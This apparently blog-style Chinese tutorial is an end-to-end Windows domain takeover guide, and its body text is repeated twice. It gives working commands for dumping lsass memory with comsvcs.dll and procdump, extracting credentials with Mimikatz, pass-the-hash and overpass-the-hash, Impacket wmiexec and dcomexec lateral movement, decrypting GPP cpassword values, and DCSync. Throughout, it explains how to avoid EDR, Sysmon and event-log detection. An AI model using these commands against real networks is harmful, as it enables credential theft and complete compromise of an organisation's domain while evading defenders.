第一步从lsass里把明文密码偷出来1.1 为什么需要lsass你通过凭据管理器拿到了RDP缓存但这只是能用不是拥有。真正有价值的操作是从lsass.exe进程的内存中dump出所有登录凭据——这样你拿到的不是一条凭据而是当前机器上所有用户的凭据。这里有三种不触发EDR的方式方式A用Task Manager最简单# Windows 2012 R2及以上版本 tasklist /m # 确认lsass.exe的PID tasklist | findstr lsass打开任务管理器 → 右键lsass进程 → 创建转储文件 → 导出lsass.dmp✅ 优点Windows自带功能EDR不会告警 ❌ 缺点只有交互式RDP会话才能用方式B用Procdump微软官方工具Microsoft的Sysinternals工具默认被大多数企业列为白名单。# 在跳板机上下载 certutil -urlcache -split -f https://live.sysinternals.com/procdump.exe procdump.exe # dump lsass procdump.exe -accepteula -ma lsass.exe lsass.dmp跑完之后本机EDR大概率不会拦截——Procdump在白名单里。方式C用Comsvcs.dll最隐蔽如果环境不允许下载任何工具直接用系统自带的comsvcs.dll# 不需要额外工具纯系统API # 找到lsass的PID C:\ tasklist | findstr lsass lsass.exe 672 # 直接用rundll32调用comsvcs的MiniDump C:\ rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Users\public\lsass.dmp full执行后lsass.dmp会生成在C:\Users\Public目录下。整个过程用到的全是系统自带组件连Sysmon都不一定拦得住。1.2 从dmp里提取凭据——Mimikatz登场拿到了lsass.dmp接下来就是Mimikatz# 在攻击机上分析离线dmp文件不接触目标机器 sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full输出里你会看到类似这样的内容Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : wang_li Domain : CORP SID : S-1-5-21-1234567890-1234567890-1234567890-1111 * Username : wang_li * Domain : CORP.LOCAL * NTLM : aad3b435b51404eeaad3b435b51404ee * SHA1 : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0 * DPAPI : e0d0c0b0a090807060504030201000 * Password (NTLM) : aad3b435b51404eeaad3b435b51404ee * Password (SHA1) : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0 * wdigest : wang_li:CORP.LOCAL:Corp2024!Admin * kerberos : wang_li:CORP.LOCAL:Corp2024!Admin * ssp : wang_li:CORP.LOCAL:Corp2024!Admin关键发现域管理员wang_li的明文密码Corp2024!Admin。你可能会问WDigest不是默认在Win8/2012后被禁用了吗是对的。但有一个大多数人不知道的事实——如果系统安装了KB2871997补丁但不配置禁用WDigest的注册表键WDigest凭据仍然会缓存。很多内网管理员的2012 R2机器都没配这个注册表键。血的教训我见过不止一家企业全部服务器打了安全补丁结果因为一个忘了配WDigest关闭注册表的问题导致域管凭据被离线提取。你永远可以相信运维人员的配置遗漏。第二步Pass-the-Hash——没明文密码也能横着走现实情况中你可能拿不到明文密码——Credential Guard、LSA保护等全都开着WDigest是关的。但没关系我们有NTLM Hash。2.1 为什么要用PTH从lsass.dmp中提取的 NTLM Hash即使没有明文也可以直接用于认证。Windows的NTLM认证机制里密码Hash就是通行证。# 利用已经提取的NTLM Hash登录远程机器 privilege::debug sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee执行后会弹出一个新的cmd窗口。这个窗口中所有操作的身份都是wang_li。在这个新窗口里测试远程连接# 测试SMB连接 dir \\DC01\C$ # 如果能列出C盘内容说明PTH成功你已经以域管身份操作域控了2.2 PTH的隐形陷阱PTH有一个问题——它不是零痕迹的事件ID 4624登录成功一定会产生但是用wang_li的正常账户登录审计看不太出问题真正的风险如果你在攻击机和目标机器之间建立了IPC$连接目标机器的事件日志里会有\\攻击机IP的日志源解决办法# 用WinRM代替SMBWinRM的日志量更少配置好logging_level的人更少 # 先确认WinRM是否开启 Test-WSMan -ComputerName DC01 # 如果返回显示wsmid http://schemas.dmtf.org/... 说明WinRM开着 # 直接执行命令 Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }输出corp\wang_li恭喜你已经在域控上以域管理员身份执行命令了而且EDR日志里只有WinRM的事件记录SMB连接日志完全没有。第三步Overpass-the-Hash——用Kerberos收割域控比PTH更狠的技术是Overpass-the-Hash也称为Pass-the-Key。PTH用NTLM而OPTH用Kerberos。3.1 为什么OPTH更好NTLM协议的登录行为在某些EDR里会被标记为异常——尤其是非交互式登录。但Kerberos认证被EWSExchange Web Services等服务大量使用很多EDR对它睁一只眼闭一只眼。# 先清除现有的Kerberos票据 kerberos::purge # 用NTLM Hash申请Kerberos TGT票据 sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:powershell弹出的PowerShell窗口里我们已经有了一张Kerberos TGT票据# 查看Kerberos票据 klist # 输出 # 当前登录 ID 是 0:0x12345 # # 缓存的票据: 1 # 服务器: krbtgt/CORP.LOCAL CORP.LOCAL # 客户端: wang_li CORP.LOCAL # 类型: KRB_TGT # 开始时间: ... # 结束时间: ...有了TGT可以直接请求域控的CIFS服务票据# 请求访问DC01的SMB服务票据 # 这会自动触发Kerberos的TGS请求 dir \\DC01\C$此时事件日志里Event 4768Kerberos TGT请求正常域成员行为Event 4769Kerberos TGS请求正常域成员行为没有NTLM 4624事件没有SMB DCE/RPC异常。从蓝队视角看这就是一个域用户正常访问文件服务器。3.2 真实场景OPTH WinRM 穿越EDR这是我在某次攻防演练中实测有效的组合拳# 在OPTH获得的PowerShell窗口中 # 创建PSSession到域控走WinRM Kerberos $sess New-PSSession -ComputerName DC01 -Authentication Kerberos # 在域控上执行命令 Invoke-Command -Session $sess -ScriptBlock { # 查域控上的管理员 net localgroup administrators # 查正在运行的进程 Get-Process | Select-Object ProcessName, Id # 查防火墙规则看有没有告警外发 netsh advfirewall show currentprofile } # 操作完成后关闭session Remove-PSSession $sess全程没有任何文件落地没有任何SMB连接到域控日志只有Kerberos事件。某项目的EDR对此完全无感。第四步SMB Exec WMI Exec——真正无文件的横向移动有些场景下你不想在目标机器上弹任何shell、不想往磁盘上写任何文件只要远程执行一个命令。4.1 用Impacket的wmiexec# 攻击机上执行通过Socks代理 proxychains -q python3 wmiexec.py corp.local/wang_li172.16.1.10 # 或者直接指定NTLM Hash连明文密码都不需要 proxychains -q python3 wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li172.16.1.10wmiexec.py 的特点用WMI在目标机器上创建进程输出结果通过SMB共享的临时文件回传自动清理不在目标机器上写任何二进制文件日志等级Event 4688进程创建 WMI-Activity日志但如果目标机器配置了WMI日志审计怎么办这里有一个替换方案——DCOM执行# 使用dcomexec.py同样是Impacket工具包 proxychains -q python3 dcomexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li172.16.1.10DCOM执行方式绕过了WMI-Activity的日志路径日志产生位置在Microsoft-Windows-DistributedCOM/Operational——这个日志默认是被大多数企业忽略的。4.2 用原生PowerShell做SMB远程执行如果你不想依赖任何第三方工具某些环境proxychains配置复杂Windows原生的Invoke-Command配合-Session参数走的就是WSMan# 在OPTH获得的shell中执行 Invoke-Command -ComputerName CORP-FILE01 -Credential $cred -ScriptBlock { # 查这台机器上有没有其他域管理员的会话 query user # 查计划任务 schtasks /query /fo LIST /v # 如果有域管在登录状态用rundll32方式dump lsass } -Authentication Kerberos第五步从FILE01共享里挖出王炸凭据横向移动不只是从一台机器到另一台机器。每一次横向移动都是一个新信息收集的开始。现在我在FILE01上有了执行权限。5.1 翻共享找隐藏密码# 列出FILE01的所有共享 Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { net share }之前信息收集阶段发现的几个共享还在。我重点翻了两个地方Backup共享里找备份脚本Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { dir C:\Backup\ /s *.ps1 *.bat *.vbs }找到了一个backup_dc.ps1# 内容 $cred New-Object System.Management.Automation.PSCredential(CORP\backup_svc, (ConvertTo-SecureString BkpDc!2024 -AsPlainText -Force)) Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { # backup script }服务账号密码BkpDc!2024——虽然是备份服务账号但它有域控的远程管理权限。Data共享里查Excel/文档Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { # 搜所有包含password的Excel Get-ChildItem -Path C:\Data\ -Recurse -Include *.xlsx,*.xls | Select-String -Pattern password|passwd|密码 -SimpleMatch }5.2 Group.xml中的经典密码在FILE01的SYSVOL共享里如果是域控才有的但FILE01是文件服务器直接拉域控SYSVOLInvoke-Command -ComputerName CORP-FILE01 -ScriptBlock { dir \\corp.local\SYSVOL\corp.local\Policies\ /s Groups.xml 2$null }如果策略里配了本地管理员账号密码Groups.xml里会有加密的cpassword?xml version1.0 encodingutf-8? Groups Group clsid{...} ... User ... Properties ... cpassword5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e .../ /User /Group /Groups用gpp-decrypt命令直接解密gpp-decrypt 5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e输出CorpLocalAdmin!567这是一条完整的域控本地管理员密码。为什么因为GPPGroup Policy Preferences的加密密钥从2014年起就被微软公开了AES-256密钥硬编码在MSDN文档里所有用了GPP配置密码的企业等同于裸奔。冷知识微软在MS16-096中移除了GPP密码功能但已部署的策略不会自动删除。至今我仍能在30%的内网渗透中捞到GPP密码。企业迁移到LAPSLocal Administrator Password Solution的进度永远比你想象中慢。第六步拿下DC01——收割整个域到目前为止三条路径都指向了域控DC01路径A用wang_li的NTLM Hash直接PTH到DC01路径B用备份服务账号BkpDc!2024通过WinRM执行命令路径C用FILE01的GPP解密出的本地管理员密码选择最安静的路径执行# 路径B最隐蔽WinRM 服务账号 $sess New-PSSession -ComputerName DC01 -Credential (New-Object System.Management.Automation.PSCredential(CORP\backup_svc, (ConvertTo-SecureString BkpDc!2024 -AsPlainText -Force)))6.1 域控上的最终操作DCSync在域控上有域管权限后最优雅的操作不是创建后门账号——而是DCSync。DCSync模拟域控之间的复制行为直接从域控拉取所有域用户的NTLM Hash# 在域控上执行或通过域管权限远程执行 lsadump::dcsync /domain:corp.local /all这条命令会返回整个域的所有用户密码Hash。有了这些Hash整个域内的任何机器都可以随时拿下。但DCSync有一个需要特别小心的地方——它会触发Event ID 4662对DS对象的操作审计。如果蓝队配了域控的DS访问审计DCSync请求会留下记录。替代方案不用DCSync直接ntds.dit导出# 直接dump ntds lsadump::lsa /patch/patch方式不需要和DS交互而是直接读取域控内存中的LSA策略Event 4662不会产生。代价是速度慢一些但隐蔽性翻倍。总结内网横向移动的5条实战原则这次实战下来浓缩成5条原则原则1能PTH不碰密码能Kerb不碰NTLMPTH让你用Hash就能认证。Overpass-the-HashKerberos比PTHNTLM更隐蔽——Event 4768/4769比4624难抓得多。原则2SMB是显眼的WinRM是安静的SMB连接会产生大量网络日志而且大部分EDR对SMB横向移动有明确规则。WinRM走HTTPS5986端口在大多数企业的日常运维流量白名单里。原则3文件落地 自爆任何横向移动工具只要有文件落地的动作都有被杀软查杀的窗口期。无文件执行WMI/DCOM/PowerShell Remoting是更安全的选择。原则4跳板机上的信息收集是决定生死的很多渗透在拿下一台跳板机后就急着横向移动。但真正的老手会在跳板机上认真做一次完整的信息收集——GPP密码、凭据管理器、本地明文密码、历史连接记录。这些别人的遗漏就是你的突破口。原则5永远留一条最安静的路径在你用最暴力的方式攻入域控之前先想想有没有一条更安静的路比如备份服务账号的WinRM权限、GPP策略的本地管理员密码、或者服务配置文件里的SQL Server链接密码。冗余路径 ≠ 浪费——是安全网。
偷到管理员密码后5步拿下整个域——内网横向移动实战全记录
第一步从lsass里把明文密码偷出来1.1 为什么需要lsass你通过凭据管理器拿到了RDP缓存但这只是能用不是拥有。真正有价值的操作是从lsass.exe进程的内存中dump出所有登录凭据——这样你拿到的不是一条凭据而是当前机器上所有用户的凭据。这里有三种不触发EDR的方式方式A用Task Manager最简单# Windows 2012 R2及以上版本 tasklist /m # 确认lsass.exe的PID tasklist | findstr lsass打开任务管理器 → 右键lsass进程 → 创建转储文件 → 导出lsass.dmp✅ 优点Windows自带功能EDR不会告警 ❌ 缺点只有交互式RDP会话才能用方式B用Procdump微软官方工具Microsoft的Sysinternals工具默认被大多数企业列为白名单。# 在跳板机上下载 certutil -urlcache -split -f https://live.sysinternals.com/procdump.exe procdump.exe # dump lsass procdump.exe -accepteula -ma lsass.exe lsass.dmp跑完之后本机EDR大概率不会拦截——Procdump在白名单里。方式C用Comsvcs.dll最隐蔽如果环境不允许下载任何工具直接用系统自带的comsvcs.dll# 不需要额外工具纯系统API # 找到lsass的PID C:\ tasklist | findstr lsass lsass.exe 672 # 直接用rundll32调用comsvcs的MiniDump C:\ rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Users\public\lsass.dmp full执行后lsass.dmp会生成在C:\Users\Public目录下。整个过程用到的全是系统自带组件连Sysmon都不一定拦得住。1.2 从dmp里提取凭据——Mimikatz登场拿到了lsass.dmp接下来就是Mimikatz# 在攻击机上分析离线dmp文件不接触目标机器 sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full输出里你会看到类似这样的内容Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : wang_li Domain : CORP SID : S-1-5-21-1234567890-1234567890-1234567890-1111 * Username : wang_li * Domain : CORP.LOCAL * NTLM : aad3b435b51404eeaad3b435b51404ee * SHA1 : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0 * DPAPI : e0d0c0b0a090807060504030201000 * Password (NTLM) : aad3b435b51404eeaad3b435b51404ee * Password (SHA1) : c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0c0e0d0d0 * wdigest : wang_li:CORP.LOCAL:Corp2024!Admin * kerberos : wang_li:CORP.LOCAL:Corp2024!Admin * ssp : wang_li:CORP.LOCAL:Corp2024!Admin关键发现域管理员wang_li的明文密码Corp2024!Admin。你可能会问WDigest不是默认在Win8/2012后被禁用了吗是对的。但有一个大多数人不知道的事实——如果系统安装了KB2871997补丁但不配置禁用WDigest的注册表键WDigest凭据仍然会缓存。很多内网管理员的2012 R2机器都没配这个注册表键。血的教训我见过不止一家企业全部服务器打了安全补丁结果因为一个忘了配WDigest关闭注册表的问题导致域管凭据被离线提取。你永远可以相信运维人员的配置遗漏。第二步Pass-the-Hash——没明文密码也能横着走现实情况中你可能拿不到明文密码——Credential Guard、LSA保护等全都开着WDigest是关的。但没关系我们有NTLM Hash。2.1 为什么要用PTH从lsass.dmp中提取的 NTLM Hash即使没有明文也可以直接用于认证。Windows的NTLM认证机制里密码Hash就是通行证。# 利用已经提取的NTLM Hash登录远程机器 privilege::debug sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee执行后会弹出一个新的cmd窗口。这个窗口中所有操作的身份都是wang_li。在这个新窗口里测试远程连接# 测试SMB连接 dir \\DC01\C$ # 如果能列出C盘内容说明PTH成功你已经以域管身份操作域控了2.2 PTH的隐形陷阱PTH有一个问题——它不是零痕迹的事件ID 4624登录成功一定会产生但是用wang_li的正常账户登录审计看不太出问题真正的风险如果你在攻击机和目标机器之间建立了IPC$连接目标机器的事件日志里会有\\攻击机IP的日志源解决办法# 用WinRM代替SMBWinRM的日志量更少配置好logging_level的人更少 # 先确认WinRM是否开启 Test-WSMan -ComputerName DC01 # 如果返回显示wsmid http://schemas.dmtf.org/... 说明WinRM开着 # 直接执行命令 Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }输出corp\wang_li恭喜你已经在域控上以域管理员身份执行命令了而且EDR日志里只有WinRM的事件记录SMB连接日志完全没有。第三步Overpass-the-Hash——用Kerberos收割域控比PTH更狠的技术是Overpass-the-Hash也称为Pass-the-Key。PTH用NTLM而OPTH用Kerberos。3.1 为什么OPTH更好NTLM协议的登录行为在某些EDR里会被标记为异常——尤其是非交互式登录。但Kerberos认证被EWSExchange Web Services等服务大量使用很多EDR对它睁一只眼闭一只眼。# 先清除现有的Kerberos票据 kerberos::purge # 用NTLM Hash申请Kerberos TGT票据 sekurlsa::pth /user:wang_li /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:powershell弹出的PowerShell窗口里我们已经有了一张Kerberos TGT票据# 查看Kerberos票据 klist # 输出 # 当前登录 ID 是 0:0x12345 # # 缓存的票据: 1 # 服务器: krbtgt/CORP.LOCAL CORP.LOCAL # 客户端: wang_li CORP.LOCAL # 类型: KRB_TGT # 开始时间: ... # 结束时间: ...有了TGT可以直接请求域控的CIFS服务票据# 请求访问DC01的SMB服务票据 # 这会自动触发Kerberos的TGS请求 dir \\DC01\C$此时事件日志里Event 4768Kerberos TGT请求正常域成员行为Event 4769Kerberos TGS请求正常域成员行为没有NTLM 4624事件没有SMB DCE/RPC异常。从蓝队视角看这就是一个域用户正常访问文件服务器。3.2 真实场景OPTH WinRM 穿越EDR这是我在某次攻防演练中实测有效的组合拳# 在OPTH获得的PowerShell窗口中 # 创建PSSession到域控走WinRM Kerberos $sess New-PSSession -ComputerName DC01 -Authentication Kerberos # 在域控上执行命令 Invoke-Command -Session $sess -ScriptBlock { # 查域控上的管理员 net localgroup administrators # 查正在运行的进程 Get-Process | Select-Object ProcessName, Id # 查防火墙规则看有没有告警外发 netsh advfirewall show currentprofile } # 操作完成后关闭session Remove-PSSession $sess全程没有任何文件落地没有任何SMB连接到域控日志只有Kerberos事件。某项目的EDR对此完全无感。第四步SMB Exec WMI Exec——真正无文件的横向移动有些场景下你不想在目标机器上弹任何shell、不想往磁盘上写任何文件只要远程执行一个命令。4.1 用Impacket的wmiexec# 攻击机上执行通过Socks代理 proxychains -q python3 wmiexec.py corp.local/wang_li172.16.1.10 # 或者直接指定NTLM Hash连明文密码都不需要 proxychains -q python3 wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li172.16.1.10wmiexec.py 的特点用WMI在目标机器上创建进程输出结果通过SMB共享的临时文件回传自动清理不在目标机器上写任何二进制文件日志等级Event 4688进程创建 WMI-Activity日志但如果目标机器配置了WMI日志审计怎么办这里有一个替换方案——DCOM执行# 使用dcomexec.py同样是Impacket工具包 proxychains -q python3 dcomexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/wang_li172.16.1.10DCOM执行方式绕过了WMI-Activity的日志路径日志产生位置在Microsoft-Windows-DistributedCOM/Operational——这个日志默认是被大多数企业忽略的。4.2 用原生PowerShell做SMB远程执行如果你不想依赖任何第三方工具某些环境proxychains配置复杂Windows原生的Invoke-Command配合-Session参数走的就是WSMan# 在OPTH获得的shell中执行 Invoke-Command -ComputerName CORP-FILE01 -Credential $cred -ScriptBlock { # 查这台机器上有没有其他域管理员的会话 query user # 查计划任务 schtasks /query /fo LIST /v # 如果有域管在登录状态用rundll32方式dump lsass } -Authentication Kerberos第五步从FILE01共享里挖出王炸凭据横向移动不只是从一台机器到另一台机器。每一次横向移动都是一个新信息收集的开始。现在我在FILE01上有了执行权限。5.1 翻共享找隐藏密码# 列出FILE01的所有共享 Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { net share }之前信息收集阶段发现的几个共享还在。我重点翻了两个地方Backup共享里找备份脚本Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { dir C:\Backup\ /s *.ps1 *.bat *.vbs }找到了一个backup_dc.ps1# 内容 $cred New-Object System.Management.Automation.PSCredential(CORP\backup_svc, (ConvertTo-SecureString BkpDc!2024 -AsPlainText -Force)) Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { # backup script }服务账号密码BkpDc!2024——虽然是备份服务账号但它有域控的远程管理权限。Data共享里查Excel/文档Invoke-Command -ComputerName CORP-FILE01 -ScriptBlock { # 搜所有包含password的Excel Get-ChildItem -Path C:\Data\ -Recurse -Include *.xlsx,*.xls | Select-String -Pattern password|passwd|密码 -SimpleMatch }5.2 Group.xml中的经典密码在FILE01的SYSVOL共享里如果是域控才有的但FILE01是文件服务器直接拉域控SYSVOLInvoke-Command -ComputerName CORP-FILE01 -ScriptBlock { dir \\corp.local\SYSVOL\corp.local\Policies\ /s Groups.xml 2$null }如果策略里配了本地管理员账号密码Groups.xml里会有加密的cpassword?xml version1.0 encodingutf-8? Groups Group clsid{...} ... User ... Properties ... cpassword5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e .../ /User /Group /Groups用gpp-decrypt命令直接解密gpp-decrypt 5HyTq3v9b7zF6sN8wR4pK2mX1jL0qW3e输出CorpLocalAdmin!567这是一条完整的域控本地管理员密码。为什么因为GPPGroup Policy Preferences的加密密钥从2014年起就被微软公开了AES-256密钥硬编码在MSDN文档里所有用了GPP配置密码的企业等同于裸奔。冷知识微软在MS16-096中移除了GPP密码功能但已部署的策略不会自动删除。至今我仍能在30%的内网渗透中捞到GPP密码。企业迁移到LAPSLocal Administrator Password Solution的进度永远比你想象中慢。第六步拿下DC01——收割整个域到目前为止三条路径都指向了域控DC01路径A用wang_li的NTLM Hash直接PTH到DC01路径B用备份服务账号BkpDc!2024通过WinRM执行命令路径C用FILE01的GPP解密出的本地管理员密码选择最安静的路径执行# 路径B最隐蔽WinRM 服务账号 $sess New-PSSession -ComputerName DC01 -Credential (New-Object System.Management.Automation.PSCredential(CORP\backup_svc, (ConvertTo-SecureString BkpDc!2024 -AsPlainText -Force)))6.1 域控上的最终操作DCSync在域控上有域管权限后最优雅的操作不是创建后门账号——而是DCSync。DCSync模拟域控之间的复制行为直接从域控拉取所有域用户的NTLM Hash# 在域控上执行或通过域管权限远程执行 lsadump::dcsync /domain:corp.local /all这条命令会返回整个域的所有用户密码Hash。有了这些Hash整个域内的任何机器都可以随时拿下。但DCSync有一个需要特别小心的地方——它会触发Event ID 4662对DS对象的操作审计。如果蓝队配了域控的DS访问审计DCSync请求会留下记录。替代方案不用DCSync直接ntds.dit导出# 直接dump ntds lsadump::lsa /patch/patch方式不需要和DS交互而是直接读取域控内存中的LSA策略Event 4662不会产生。代价是速度慢一些但隐蔽性翻倍。总结内网横向移动的5条实战原则这次实战下来浓缩成5条原则原则1能PTH不碰密码能Kerb不碰NTLMPTH让你用Hash就能认证。Overpass-the-HashKerberos比PTHNTLM更隐蔽——Event 4768/4769比4624难抓得多。原则2SMB是显眼的WinRM是安静的SMB连接会产生大量网络日志而且大部分EDR对SMB横向移动有明确规则。WinRM走HTTPS5986端口在大多数企业的日常运维流量白名单里。原则3文件落地 自爆任何横向移动工具只要有文件落地的动作都有被杀软查杀的窗口期。无文件执行WMI/DCOM/PowerShell Remoting是更安全的选择。原则4跳板机上的信息收集是决定生死的很多渗透在拿下一台跳板机后就急着横向移动。但真正的老手会在跳板机上认真做一次完整的信息收集——GPP密码、凭据管理器、本地明文密码、历史连接记录。这些别人的遗漏就是你的突破口。原则5永远留一条最安静的路径在你用最暴力的方式攻入域控之前先想想有没有一条更安静的路比如备份服务账号的WinRM权限、GPP策略的本地管理员密码、或者服务配置文件里的SQL Server链接密码。冗余路径 ≠ 浪费——是安全网。